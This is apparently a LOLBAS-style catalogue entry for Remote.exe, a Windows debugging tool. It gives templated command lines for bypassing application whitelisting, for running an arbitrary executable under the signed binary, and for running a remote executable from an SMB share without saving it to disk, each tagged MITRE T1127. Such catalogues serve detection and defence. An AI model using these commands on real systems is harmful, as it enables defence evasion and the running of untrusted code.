Remote.exe

Debugging tool included with Windows Debugging Tools

AWL Bypass

Executes a process under a trusted Microsoft signed binary

Remote.exe /s {PATH:.exe} anythinghere

Spawns specified executable as a child process of remote.exe — MITRE: T1127 — Privileges: User

Execute

Executes a process under a trusted Microsoft signed binary

Remote.exe /s {PATH:.exe} anythinghere

Spawns specified executable as a child process of remote.exe — MITRE: T1127 — Privileges: User

Executing a remote binary without saving file to disk

Remote.exe /s {PATH_SMB:.exe} anythinghere

Run a remote file — MITRE: T1127 — Privileges: User